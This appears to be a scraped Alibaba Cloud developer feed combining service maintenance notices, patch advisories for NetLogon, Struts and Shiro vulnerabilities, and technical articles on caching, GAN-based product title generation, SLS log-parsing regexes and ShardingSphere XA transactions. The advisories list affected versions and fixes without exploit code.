    如果想要真正的设计好一个缓存,我们还是必须要掌握很多的知识,对于不同场景,缓存有各自不同的用法。比如实际工作中我们对于订单详情的一个缓存。我们可能会根据订单的状态来来构建缓存。我们就以机票订单为例,已出行、或者已经取消的订单我们基本上是不会去管的(订单状态已经终止了),这种的话数据基本也不会变了,所以对于这种订单我们设置的过期时间是不是就可以久一点,比如7天或者30天。对于未出行即将起飞的订单,这时候顾客是不是就会频繁的去刷新订单看看,看看有没有晚点什么的,或者登机口是在哪。对于这种实时性要求比较高的订单我们过期时间还是要设置的比较短的,如果是需要更改订单的状态查询的时候可以直接不走缓存,直接查询master库。毕竟这种更改订单状态的操作还是比较有限的。大多数情况都是用来展示的。展示的话是可以允许实时性要求没那么高。总的来说需要开具体的业务,没有通用的方案。看你的业务需求的容忍度,毕竟脱离了业务来谈技术都是耍流氓,是业务驱动技术。

    结束

    • 由于自己才疏学浅,难免会有纰漏,假如你发现了错误的地方,还望留言给我指出来,我会对其加以修正。
    • 如果你觉得文章还不错,你的转发、分享、赞赏、点赞、留言就是对我最大的鼓励。
    • 感谢您的阅读,十分欢迎并感谢您的关注。

    站在巨人的肩膀上摘苹果:
    https://juejin.im/post/6844903665845665805
    https://tech.meituan.com/2017/03/17/cache-about.html
    https://www.cnblogs.com/rjzheng/p/9041659.html#!comments

    ]]>
    【其他】9月1日云监控CDN产品告警指标数据优化通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【云监控CDN产品告警指标数据优化通知】

    为提升用户体验,云监控CDN产品监控据将全面替换为日志数据,数据最小颗粒度为1分钟颗粒,将在9月1日进行数据切换。

    影响

    1,用户概览、域名监控图表里,网络带宽数据,当最小时间颗粒度为1分钟时,可能出现周期内同一时间的带宽峰值比5分钟颗粒度的峰值更小;

    2,报警规则里,若“带宽峰值”告警设置周期为1分钟,可能会比设置成5分钟周期产生更多的告警;

    3,1分钟数据为阿里云CDN的实时日志数据,与客户的真实业务一致,5分钟的数据更接近带客户计费带宽数据,在1分钟颗粒度下的产生更多的带宽告警为正常现象;

    ]]>
    【升级】8月13日Afilias注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    阿里云域名】【Afilias注册局维护通知】

    维护时间:北京时间 2020年8月13日 01:30 - 8月14日 04:35

    维护内容:接到注册局的通知,注册局中国站将于上述时间对后台系统进行维护升级。

    维护影响:届时 .Red/.Kim/.Pro/.Asia/.Info/.Mobi/.ORG域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月20日消息队列AMQP升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年8月20日(周四) 14:30 - 18:30

    升级内容:华北1(青岛)、华北2(北京)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、香港等地域的消息队列AMQP服务升级。

    升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过5分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】Windows NetLogon权限提升漏洞(CVE-2020-1472) Fri, 02 May 2025 09:39:03 +0800

    2020年8月12日,阿里云应急响应中心监测到微软发布补丁修复了NetLogon权限提升漏洞(CVE-2020-1472),CVSS评分10,官方评级严重。目前微软官方已提供相应的月度安全补丁以修复该漏洞。


    漏洞描述

    微软官方于8月12日发布安全更新,其中修复了一个修复了NetLogon权限提升漏洞(CVE-2020-1472),攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行相应代码或者程序。同时,微软8月补丁中还涉及其他多个高危漏洞,阿里云应急响应中心提醒 Windows 用户尽快安装补丁阻止漏洞攻击。


    漏洞评级

    CVE-2020-1472 严重


    影响版本

    Windows Server 2008 R2 for x64-based Systems Service Pack 1

    Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

    Windows Server 2012

    Windows Server 2012 (Server Core installation)

    Windows Server 2012 R2

    Windows Server 2012 R2 (Server Core installation)

    Windows Server 2016

    Windows Server 2016 (Server Core installation)

    Windows Server 2019

    Windows Server 2019 (Server Core installation)

    Windows Server, version 1903 (Server Core installation)

    Windows Server, version 1909 (Server Core installation)

    Windows Server, version 2004 (Server Core installation)


    安全建议

    1、前往微软官方下载相应补丁进行更新 https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472

    2、阿里云云安全中心Windows系统漏洞模块已支持对该漏洞补丁一键检测和修复,详情登陆云安全中心

    Windows Server 2008 (官方已停止免费补丁维护,需购买微软ESU服务,建议放弃使用:https://www.microsoft.com/en-us/windows-server/extended-security-updates

    Windows Server 2012 补丁:KB4571736

    Windows Server 2012 R2 补丁:KB4571703

    Windows Server 2016 补丁:KB4571694

    Windows Server 2019 补丁:KB4565349



    相关链接

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.08.12

    ]]>
    【漏洞预警】Apache Struts远程代码执行漏洞(S2-059、CVE-2019-0230) Fri, 02 May 2025 09:39:03 +0800

    2020年8月13日,阿里云应急响应中心监测到Apache Struts 官方发布安全公告,披露 S2-059 Struts 远程代码执行漏洞。


    漏洞描述

    Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年8月13日披露 S2-059 Struts 远程代码执行漏洞(CVE-2019-0230),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。阿里云应急响应中心提醒Apache Struts用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Apache Struts 2.0.0 - 2.5.20


    安全版本

    Apache Struts >= 2.5.22


    安全建议

    将Apache Struts框架升级至最新版本。


    相关链接

    https://cwiki.apache.org/confluence/display/WW/S2-059



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.08.13

    ]]>
    【漏洞预警】Apache Shiro < 1.6.0 权限绕过漏洞(CVE-2020-13933) Fri, 02 May 2025 09:39:03 +0800

    2020年8月17日,阿里云应急响应中心监测到Apache Shiro官方发布安全更新,修复了一个最新权限绕过漏洞。攻击者利用该漏洞可以绕过验证访问到后台功能,风险较高。


    漏洞描述

    Apache Shiro是一个应用广泛的权限管理的用户认证与授权框架。近日,shiro被爆出Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989),攻击者可以使用包含payload的恶意请求绕过Shiro的身份认证,漏洞于1.5.3修复。实际上,这个修复并不完全,由于shiro在处理url时与spring仍然存在差异,shiro最新版仍然存在身份校验绕过漏洞。2020年8月17日,Apache Shiro发布1.6.0版本修复该漏洞绕过。阿里云应急响应中心提醒Apache Shiro用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Apache Shiro < 1.6.0


    安全版本

    Apache Shiro >= 1.6.0


    相关链接

    https://lists.apache.org/thread.html/r539f87706094e79c5da0826030384373f0041068936912876856835f%40%3Cdev.shiro.apache.org%3E

    https://shiro.apache.org/news.html

    阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.08.18

    ]]>
    基于GAN的个性化短标题生成在1688平台的实践应用-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    一、背景介绍

    我们团队从去年的工作中,积累了风格化文案生成算法的内容生成方案。之后,我们创新的提出使用Generative Adversarial Network的生成技术,结合用户特征进行个性化短标题的生成,同时提高稀疏数据集下模型的鲁棒性。目前成果已被DLP-KDD2020会议录用,论文题目是“Selling Products by Machine: a User-Sensitive Adversarial Training method for Short Title Generation in Mobile E-Commerce”。

    过去的相关研究主要从商品的内容出发,而缺少对用户行为的挖掘,从而忽视了买家的需求。我们提出了“个性化指针生成对抗网络(PPGAN)”,生成用户感知的个性化短标题。此外,在数据集上,电商用户行为数据中用户的低点击率使得我们的数据集非常稀疏,本文模型引入一种无监督的信息理论策略,能够从用户未点击数据中识别出高质量的短标题训练模型。

    e13780340421439e8d58cdf48b2a80d8.png

    二、模型结构

    55b4d9b383ac485b85968bf3286aa620.png

    PPGAN模型网络整体包含三个模块,1.电商词嵌入,2.个性化短标题生成器G,3.两种不同的判别器D:真假判别器和CTR判别器。这三个模块共同组成我们的个性化短标题生成模型框架。

    1.电商词嵌入

    我们使用AliNLP的电商NER工具对商品标题和用户特征进行识别,提取“颜色”、“风格”、“品类”等实体类型特征。例如,在商品标题“包邮Nike品牌的红色运动裤”中,“包邮”标记为“市场服务”,“Nike”标记为“品牌”,“红色”标记为“颜色”,“运动裤”标记为“品类”。对于每个单词,我们将其单词向量和NER向量拼接,共同作为模型的词向量输入。

    对于商品标题序列,每个单词被表示成:

    023496e12070461f877deda341105795.png

    对于用户特征序列,每个单词被表示成:

    0405ae1ca74d42ac9c6986a0d4cee83a.png

    通过加入单词的NER信息,模型更能够学习到每个单词的重要性,将重要的单词保留在短标题中。

    2. 个性化短标题生成器

    对于短标题生成器来说,输入信息为商品标题和用户特征,通过one-step Pointer Networks模型从原标题中抽取式的生成短标题,与传统的多步指针网络相比,一步指针网络在解码阶段一步解码,避免了多步解码的重复性抽取问题。

    用户特征的构建:我们基于用户在平台的点击记录运用统计方法计算用户特征,具体来说,对于用户点击过的商品item_t,收集点击itemt之前点击过的10个商品数据,通过词频统计取TOP10的单词作为用户特征U=(u_1, u_2, ... , u_10)。

    如图所示,在用户特征构建后,将用户特征向量序列输入GRU网络中,计算得到用户表征。

    83ffa4dd0ad141a19904cadc6323d30f.png

    为了融合用户和被点击的商品的特征,我们将用户表征与商品词向量进行拼接,再输入GRU编码器进行编码。

    c05239f96caf4f6a8465cb964a91829e.png

    c13c64a9f081428999a5987b8c43e92b.png

    在解码部分,通过基于注意力机制的一步解码和softmax层,输出在原输入序列上的概率分布,取概率TopK的单词作为生成的短标题。

    dcc5023f422b40dab8ae65a9f9c48f04.png

    b53d7d0c6d394f39994ae135a3a89373.png

    3. 判别器

    判别器D是一个以生成器G的输出分布Pg和真实短标题分布Pr为输入的二元分类器,用来判别是商家手写真实短标题还是机器生成的伪短标题。我们将真实短标题的输入分布定义如下,其中T为原始长标题,S=(s_1, s_2, ... , s_m)为真实短标题,m是短标题的长度。

    e93a5d39f8144fb4989ef5210abf0dd8.png

    同时,为了让判别器不那么容易的判别出真伪短标题,我们给真伪短标题的分布加入服从高斯分布的噪音,使训练过程更加稳定。

    bd2af0fcf434432fbaa56436ec6a3eee.png

    将这两个标题分布与商品词向量点乘得到“短标题”的向量表示,在拼接用户特征后分别输入判别器D进行判别。
    判别器D网络采用常用的卷积神经网络,包括真假判别器和CTR判别器两种。真假判别器用来使生成器生成的短标题更接近用户点击的真实短标题;此外,考虑到数据集的稀疏性,用户点击样本量相对于未点击样本量较少,因此我们希望引入CTR判别器,从大量的用户未点击样本中识别高质量的短标题训练模型。

    4. 对抗训练损失与模型训练过程

    生成器G尽力为目标用户生成接近真实的短标题分布,判别器D尽力最大化真伪短标题分布之间的距离,从而做出正确判别。算法流程如下图所示:

    998d9f918e754f3cbe5645e6355ac88d.png

    • 首先使用大量长短标题pair对预训练生成器G,快速更新我们的生成器。由于没有足够的用户点击数据覆盖所用商品,我们在预训练阶段仅使用商品标题特征,而不考虑用户特征。我们使用L2损失函数作为预训练生成器G时的损失:

      1a8f76cec38947cea569da8350feedbb.png

    • 正式训练阶段1,输入数据为用户点击的商品数据[T+, U+, S+],生成器G和真假判别器D的损失函数如下:

      39234649d2374de79c82ae3eea6183af.png

      9b4eef3e422941bc8ed20fab9a47a9ea.png

    • 正式训练阶段2,输入数据为用户未点击的商品数据[T-, U-]。事实上,用户未点击的短标题并不仅仅由于短标题质量不好,也可能是用户对商品本身不感兴趣。因此,我们考虑通过对抗的方式识别出用户未点击但质量好的短标题。我们借鉴了现有的工作,最大化正负例之间的信息边界,在判别器损失中加入正负两个类别之间的加性条件熵M_D(x)。CTR判别器的损失函数如下:

      748af142d8264e2a865f236c5e6f16a9.png

      a080749b04fa49cf9130f888cc3cf9d0.png

    三、实验结果与线上效果

    1. 样本数据和训练

    我们的训练样本来自1688平台商家手写的短标题以及现有短标题场景中用户的行为数据,可以将数据集表示成,其中O为商品原始长标题,S表示手写短标题,U为用户特征序列,L为用户对商品的标签(1表示点击,0表示未点击),样例如下图所示。我们的用户点击样本量为64万,用户未点击样本量为695万,因此数据集较为稀疏。此外,数据样本上,经过了一定的数据清理工作,因为本身训练样本数据的质量会严重影响最终生成短标题的质量,我们的处理主要包括脏语料的剔除、异常字符的过滤、原始标题长度限制等,同时利用AliNLP进行用户和商品特征的命名实体识别工作。

    数据样例如下:

    c4ae05ee62294fefb2b14359cd4a3f71.png

    2. 个性化短标题生成样例

    与对比方法相比,我们的模型PPGAN能够根据不同的用户特征,从原始长标题中抽取特定用户感兴趣的信息生成个性化的短标题。表中短标题的生成长度设定为5,根据不同的产品和场景需求,我们能够生成不同长度的个性化短标题,从而让生成的短标题更贴合业务需求。

    PPGAN实验生成样例如下图所示:

    48be636c155844d784ec28dbff491de9.png

    3. 1688落地效果

    目前个性化短标题已落地到1688平台的多个场景中,包括伙拼、天天特卖、厂货集采等。我们在榜单的“发现好货”进行AB测试,结果上实时个性化短标题比截断长标题点击率绝对值高出2.3个点左右,比统计短标题高出1.7个点左右。并且在2019年的920大促中,全量上线到大促会场中,承接住1100+QPS的调用量,为1688导购场景全面赋能,目前已沉淀为场景侧技术工具,供运营使用。

    线上效果如下:

    55c86be6b8374efdbd5600cc85d4a5e3.png

    四、参考文献

    [1] Martin Arjovsky, Soumith Chintala, and Leon Bottou. 2017. Wasserstein Generative Adversarial Networks. In ICML. 214–223.
    [2] Oriol Vinyals, Meire Fortunato, and Navdeep Jaitly. 2015. Pointer networks. In NIPS. 2692–2700.
    [3] Tao Zhang, Jin Zhang, Chengfu Huo, and Weijun Ren. 2019. Automatic Generation of Pattern-controlled Product Description in E-commerce. In WWW. 2355–2365.
    [4] Jiatao Gu, Zhengdong Lu, Hang Li, and Victor O K Li. 2016. Incorporating copying mechanism in sequence-to-sequence learning. In ACL. 1631–1640.
    [5] Yue Deng, Yilin Shen, and Hongxia Jin. 2017. Disguise Adversarial Networks for Click-through Rate Prediction. In IJCAI. 1589–1595.

    386ecdcbf98a403db932936d3adcd472.png]]> 基于日志服务数据加工分析Java异常日志-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1. 本文要点(regex_findall()、e_regex()、e_output()专题):

    • 正则解析复杂异常日志(一次性解析不出全部格式异常日志怎么办?)
    • 根据不同产品的Exception做数据清洗以及多目标分发
    • 对不同的产品的异常日志做数据分析

    2. 背景

    业务背景:
    采集并脱敏了整个5月份的项目异常日志,准备使用日志服务数据加工做数据清洗以及分析。本案例是基于使用阿里云相关产品(OSS,RDS,SLS等)的SDK展开自身业务。
    业务需求:
    需要对异常日志做解析,将原始日志中时间、错误码、错误信息、状态码、产品信息、请求方法、出错行号提取出来。然后根据提取出来的不同产品信息做多目标分发处理。对清洗后的数据做异常日志数据分析。

    3. 案例总体流程

    本案例中的所有异常日志全部是通过使用日志服务SDK上传到cloud_product_error_log的logstore中,然后再经过数据加工清洗数据后投递到各自产品的logstore中,最后针对各个产品的异常日志做分析。具体流程如下:
    image.png

    4. 原始日志样例

    image.png

    原始日志中只有错误日志信息message,需要将其message中的一些重要信息解析出来。

    5. 加工需求

    (1) 将message错误信息中的时间、错误码、状态码、产品信息、错误码信息、请求方法、出错行号提取出来
    (2) 根据提取出的产品信息对清洗后的数据进行多目标分发

    具体需求流程如下图所示:
    image.png

    6. 对异常日志数据进行解析和投递

    6.1 加工逻辑分析

    下图展示的是如何从原始异常日志经过数据加工得到解析后的日志信息(原始日志形式,预期日志形式),然后投递到不同logstore中,最后对不同产品的异常日志做数据分析。本案例中只对SLS异常日志和OSS异常日志做加工分析。
    image.png

    6.2 加工操作

    经过以上对异常日志的分析以及加工流程的剖析,此时我们可以对异常日志加工进行实操(对于不熟悉如何使用日志服务数据加工的同学可以参考基于日志服务(SLS)实现电商数据加工与分析)。以下是具体的加工语法:

    e_switch(
        regex_match(v("message"), r"LogException"),e_compose(e_regex("message", "(?P<data_time>S+sS+)s(?P<error_code>[a-zA-Z]+)s(?P<status>[0-9]+)scom.aliyun.openservices.log.exception.(?P<product_exception>[a-zA-Z]+):(?P<error_message>[a-zA-Z0-9:,-s]+).(s+S+sS+){5}s+S+scom.aliyun.openservices.log.Client.(?P<method>[a-zA-Z]+)S+s+S+stransformEvent.main(transformEvent.java:(?P<error_line>[0-9]+))"),e_drop_fields("message"),e_output("sls-error")),
        regex_match(v("message"), r"OSSException"),e_compose(e_regex("message", "(?P<data_time>S+sS+)scom.aliyun.oss.(?P<product_exception>[a-zA-Z]+):(?P<error_message>[a-zA-Z0-9,s]+).n[ErrorCode]:s(?P<error_code>[a-zA-Z]+)n[RequestId]:s(?P<request_id>[a-zA-Z0-9]+)n[HostId]:s(?P<host_id>[a-zA-Z-.]+)nS+nS+(sS+){3}ns+S+s+(.+)(s+S+){24}scom.aliyun.oss.OSSClient.(?P<method>[a-zA-Z]+)S+s+S+stransformEvent.main(transformEvent.java:(?P<error_line>[0-9]+))"),e_drop_fields("message"),e_output("oss-error"))
    )

    点击预览效果如下所示:
    image.png

    上图表面加工语法能够正常解析异常日志,接下来需要进行保存加工任务操作。具体加工配置如下图:
    image.png

    注意:
    以上语法中的e_output中的name参数需要与加工配置规则中的目标名称一一对应。更多用法请参考e_output语法注意事项

    6.3 语法详解

    其中涉及到的正则语法分组相关知识请移步正则表达式-分组
    (1) 首先使用regex_match函数匹配出此条日志中是否有LogException如果匹配上则走解析sls异常日志的规则分支,如果匹配上OSSException则走解析OSS异常日志的规则分支。
    (2) 其次使用e_regex正则解析函数解析相应的异常日志。
    (3) 最后删除原字段message信息,并投递到相应产品的logstore中。

    其中本案例中正则解析日志详解是以解析SLS异常日志为例,具体如下
    image.png

    7. 数据加工诊断

    当我们在解析日志的时候,时常会遇到一次性解析不出全部格式异常日志的情况。并且在加工预览页面只会预览一定量的数据,因此在加工预览页面不一定会提示出该正则解析不出的日志的情况。
    综上,我们可以通过查看数据加工概览(具体如何查看请参考加工概览)的方式查到具体是那一条日志没有解析出来,然后再调整我们的正则表达式。解析失败样例,如下图所示:
    image.png

    具体异常详情的logging如下:

    {
        "message": "transform_regex: field value "2020-05-04 08:45:07 ServerBusy 505 com.aliyun.openservices.log.exception.LogException:The server is busy, please try again later.n    at com.aliyun.openservices.log.Client.ErrorCheck(Client.java:2161)n    at com.aliyun.openservices.log.Client.SendData(Client.java:2312)n    at com.aliyun.openservices.log.Client.CreateConsumerGroup(Client.java:2190)n    at com.aliyun.openservices.log.Client.SendData(Client.java:2265)n    at com.aliyun.openservices.log.Client.GetCursor(Client.java:1123)n    at com.aliyun.openservices.log.Client.CreateConsumerGroup(Client.java:1100)n    at transformEvent.main(transformEvent.java:1950)" cannot extract value with config "(?P<data_time>\S+\s\S+)\s(?P<error_code>[a-zA-Z]+)\s(?P<status>[0-9]+)\scom\.aliyun\.openservices\.log\.exception\.(?P<__topic__>[a-zA-Z]+)\:(?P<error_message>[a-zA-Z0-9\s:-]+)\.(\s+\S+\s\S+){5}\s+\S+\scom\.aliyun\.openservices\.log\.Client\.(?P<method>[a-zA-Z]+)\S+\s+\S+\stransformEvent\.main\(transformEvent\.java\:(?P<error_line>[0-9]+)\)"",
        "processName": "MainProcess",
        "process": "1",
        "thread": "139873923098368",
        "levelname": "WARNING",
        "module": "regex_impl",
        "threadName": "ThreadPoolExecutor-0_1",
        "funcName": "__call__"
    }

    从以上图例和具体信息可以看到,如果正则解析失败会报WARNING级别日志。此时的加工处理规则是跳过加工失败的日志继续往下加工,此过程中并不会影响到整个加工任务的执行(只有ERROR级别的会影响到整个加工任务的消费)。
    接下来主要关注message中的日志信息,看具体是那条日志或者那一类异常日志导致现有的正则规则加工失败。
    其message中的解析失败的日志和正则(logging中的正则表达式需要自己去掉多加的转义反斜杠)。

    """解析失败日志"""
    2020-05-04 08:45:07 ServerBusy 505 com.aliyun.openservices.log.exception.LogException:The server is busy, please try again later.n    at com.aliyun.openservices.log.Client.ErrorCheck(Client.java:2161)n    at com.aliyun.openservices.log.Client.SendData(Client.java:2312)n    at com.aliyun.openservices.log.Client.CreateConsumerGroup(Client.java:2190)n    at com.aliyun.openservices.log.Client.SendData(Client.java:2265)n    at com.aliyun.openservices.log.Client.GetCursor(Client.java:1123)n    at com.aliyun.openservices.log.Client.CreateConsumerGroup(Client.java:1100)n    at transformEvent.main(transformEvent.java:1950)
    """正则表达式"""
    (?P<data_time>S+sS+)s(?P<error_code>[a-zA-Z]+)s(?P<status>[0-9]+)scom.aliyun.openservices.log.exception.(?P<product_exception>[a-zA-Z]+):(?P<error_message>[a-zA-Z0-9s:-]+).(s+S+sS+){5}s+S+scom.aliyun.openservices.log.Client.(?P<method>[a-zA-Z]+)S+s+S+stransformEvent.main(transformEvent.java:(?P<error_line>[0-9]+))

    经过一步一步的查找验证,得出在解析error_message中缺少了对有逗号情景的解析,因此此地方正则需要改善,具体改善如下:

    """解析失败error_message正则"""
    (?P<error_message>[a-zA-Z0-9s:-]+)
    """完善后解析error_message正则"""
    (?P<error_message>[a-zA-Z0-9:,-s]+)

    综上,经过我们不断的完善正则表达式,目前是能够成功解析各个不同类型的异常日志。接下来我们将进入数据分析阶段。

    8. 异常日志数据分析

    下图是通过sql查询所展示数据仪表大盘:
    image.png

    基于加工后的异常日志(以SLS错误日志为例分析),在这里我们的需求有以下几方面:
    (1) 各个方法异常统计
    (2) 各个方法异常占比统计图
    (3) PutLogs错误信息
    (4) 各个方法调用报错每日level气泡图
    (5) 各个ErrorCode统计分析
    (6) 各个方法报错时间轴

    8.1 各个方法异常统计和各个方法异常占比统计图

    为了方便查看那个方法出现错误次数最高和帮助我们定位业务调用的具体方法,因此我们先对各个方法出现的异常情况做一个统计。

    * | SELECT COUNT(method) as m_ct, method GROUP BY method

    这条语句表示的是统计每个调用方法出现异常的数量。
    下图表示的是在查询框里输入以上sql分析语句之后进入统计图表,然后点击条形图进行配置,method为X轴,m_ct为Y轴。
    image.png

    通过上图分析可知总体情况,PutLogs调用出现异常的次数最多,其中GetCursor和DeleteConsumerGroup是出现异常的次数是最少的。
    此外,为了方便我们查看各个方法异常占比情况,我们可以基于以上的SQL做一个占比统计图,点击漏斗图,然后以method为分组列,m_ct为数值列具体操作如下。
    image.png

    8.2 PutLogs错误信息

    为了方便我们查看哪一类的错误信息是占比最大,帮助我们分析:
    (1) 需要自身业务需要改进的
    (2) 需要SLS帮忙调整的(如调整quota)
    (3) 需要深入项目中具体排查错误的(具体的error line)

    * | SELECT error_message,COUNT(error_message) as ct_msg, method WHERE method LIKE 'PutLogs' GROUP BY error_message,method

    点击矩形树图,然后以error_message为分类和ct_msg为数值列。
    image.png

    从上图中我们可知:
    (1) consumer group already exist、consumer group not exist、Logs must be less than or equal to 3 MB and 4096 entries等这些都是属于需要在项目中具体排查的错误
    (2) Read/ Write quota is exceeded这些是需要SLS调整quota的
    (3) 还有一些是需要调整自身业务的比如logstore/ project not exist看是否是因为一些业务原因而导致这些project被取消等等。

    8.3 各个方法调用报错每日level气泡图

    为了方面我们查看每一天的各个调用方法出错频次,我们需要有一个直观的图来查看每一天的调用出错程度,这样我们可以更加直观的去看某一天的具体调用出错细节。

    * | select date_format(data_time, '%Y-%m-%d') as day,COUNT(method) as count_method, case 
    when method = 'PullLogs' and COUNT(method) > 21800 then 3 when method = 'PullLogs' and COUNT(method)>21400 then 2 when method = 'PullLogs' and COUNT(method)>21100 then 1 
    when method = 'CreateConsumerGroup' and COUNT(method) > 21900 then 3
    when method = 'CreateConsumerGroup' and COUNT(method) > 21700 then 2 when method = 'CreateConsumerGroup' and COUNT(method) > 21550 then 1 
    when method = 'PutLogs' and COUNT(method)>43900 then 3 when method = 'PutLogs' and COUNT(method)>43300 then 2 when method = 'PutLogs' and COUNT(method)>42900 then 1 
    when method = 'DeleteConsumerGroup' and COUNT(method)>7440 then 3 when method = 'DeleteConsumerGroup' and COUNT(method)>7330 then 2 when method = 'DeleteConsumerGroup' and COUNT(method)>7320 then 1 
    when method = 'GetCursor' and COUNT(method)>7350 then 3 when method = 'GetCursor' and COUNT(method)>7200 then 2 when method = 'GetCursor' and COUNT(method)>7150 then 1
    else 0 end as level,  method group by day, method ORDER BY day asc

    其中如果一天PullLogs出错次数大于21800则属于level3级别的,大于21400则属于level2级别,大于21100则属于level1,否则属于level0,然后再跟据每一天每个方法做聚合操作。
    点击气泡图,其中以day为X轴,method为Y轴。

    从上图中可以明显的知道每一天的每个方法的出现异常的level值,针对某一天level值高的可以对其做具体的错误查看到底是什么原因引起的。

    8.4 各个ErrorCode统计分析

    统计各个error_code出现的错误次数,能够更好的帮助我们查看哪些是因为ServerBusy,哪些是因为ParameterInvalid等不同的原因引起的异常,从而更好的定位异常原因。

    * | SELECT error_code,COUNT(error_code) as count_code GROUP BY error_code

    点击折线图,以error_code为X轴,以count_code为Y轴
    image.png

    基于上图可知WriteQuotaExceed出现异常次数最多,可以查查那个project下的logstore被限制,然后咨询相关的产品技术支持。

    8.5 各个方法报错时间轴

    设置报错时间轴,可以实时的查看调用接口异常信息。

    * | SELECT date_format(data_time, '%Y-%m-%d %H:%m:%s') as date_time,status,product_exception,error_line, error_message,method ORDER BY date_time desc

    image.png

    基于上图所示,我们可以对重要的接口出现异常做标注高亮显示,以便我们能够快速识别出重要接口异常情况。

    9. 总结

    对于其他的产品的异常日志,我们也可以使用同样的方法加工清洗投递,然后SQL分析自己所关心的业务指标。

    ]]>
    sharding-sphere中的xa事务-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Apache ShardingSphere 默认的 XA 事务管理器为 Atomikos。

    j2ee对分布式事务定义了标准的规范,分别是JTA和JTS,JTA(Java Transaction API)是根据XA规范制定的java版本的接口规范,Atomikos就是jta的一种实现。JTA中约定了几种主要的程序角色:客户端、应用服务器、事务管理器、资源管理器。
    JTA和JTS有什么关系呢?事务管理器要和资源管理器要进行事务上下文传播的交互,其中应用服务器和事务管理器之间也有传播事务上下文的交互,JTS就是定义各个程序角色之间如何传递事务上下文的规范。

    JTA从框架的角度来约定实现者需要实现的接口,JTS约定了具体程序角色应该怎样去进行交互。

    XA是X/Open CAE Specification (Distributed Transaction Processing)模型中定义的TM(Transaction Manager)与RM(Resource Manager)之间进行通信的接口。

    在XA规范中,数据库充当RM角色,应用需要充当TM的角色,即生成全局的txId,调用XAResource接口,把多个本地事务协调为全局统一的分布式事务。

    image.png

    二阶段提交是XA的标准实现,它将分布式事务的提交拆分为2个阶段:prepare和commit/rollback。

    开启XA全局事务后,所有子事务会按照本地默认的隔离级别锁定资源,并记录undo和redo日志,然后由TM发起prepare投票,询问所有的子事务是否可以进行提交。

    当所有子事务反馈的结果为“yes”时,TM再发起commit;若其中任何一个子事务反馈的结果为“no”,TM则发起rollback。

    如果在prepare阶段的反馈结果为yes,而commit的过程中出现宕机等异常时,则在节点服务重启后,可根据XA recover再次进行commit补偿,以保证数据的一致性。

    XA recover的作用是列出所有处于PREPARE阶段的XA事务。

    2PC模型中,在prepare阶段需要等待所有参与子事务的反馈,因此可能造成数据库资源锁定时间过长,不适合并发高以及子事务生命周长较长的业务场景。

    Sharding-Sphere支持基于XA的强一致性事务解决方案,可以通过SPI注入不同的第三方组件作为事务管理器实现XA协议,如Atomikos和Narayana。

    在sharding-sphere中默认使用了atomikos,编程时可以直接使用,例如注解方式为:

        @ShardingTransactionType(TransactionType.XA)
        @Transactional(rollbackFor = Exception.class)
        public void testTransactional() {
            User user1 = new User(1, "faith", 12);
            this.userDao.addOne(user1);
            User user2 = new User(2, "belief", 12);
            this.userDao.addOne(user2);
            this.userDao.addOne(user2); // 这里会报错,因为在分布式事务中,因此user1、user2都会插入失败
        }

    如果spring项目中单独使用atomikos,需要做数据源以及事务管理器等配置,例如:

        <!-- 数据源 -->
        <bean id="abstractDatasource" abstract="true"
                class="com.atomikos.jdbc.AtomikosDataSourceBean" init-method="init" destroy-method="close">
            <property name="xaDataSourceClassName" value="com.mysql.jdbc.jdbc2.optional.MysqlXADataSource" />
            <property name="poolSize" value="${datasource.poolSize}" />
            <property name="minPoolSize" value="${datasource.minPoolSize}" />
            <property name="maxPoolSize" value="${datasource.maxPoolSize}" />
            <!--获取连接失败重新获等待最大时间,在这个时间内如果有可用连接,将返回 -->
            <property name="borrowConnectionTimeout" value="60" />
            <!--最大获取数据时间,如果不设置这个值,Atomikos使用默认的5分钟,那么在处理大批量数据读取的时候,一旦超过5分钟,就会抛出类似 Resultset 
                is close 的错误. -->
            <property name="reapTimeout" value="20" />
            <!--最大闲置时间,超过最小连接池连接的连接将将关闭 -->
            <property name="maxIdleTime" value="${datasource.maxIdleTime}" />
            <!--连接回收时间 -->
            <property name="maintenanceInterval" value="60" />
            <!--java数据库连接池,最大可等待获取datasouce的时间 -->
            <property name="loginTimeout" value="60" />
            <property name="logWriter" value="60" />
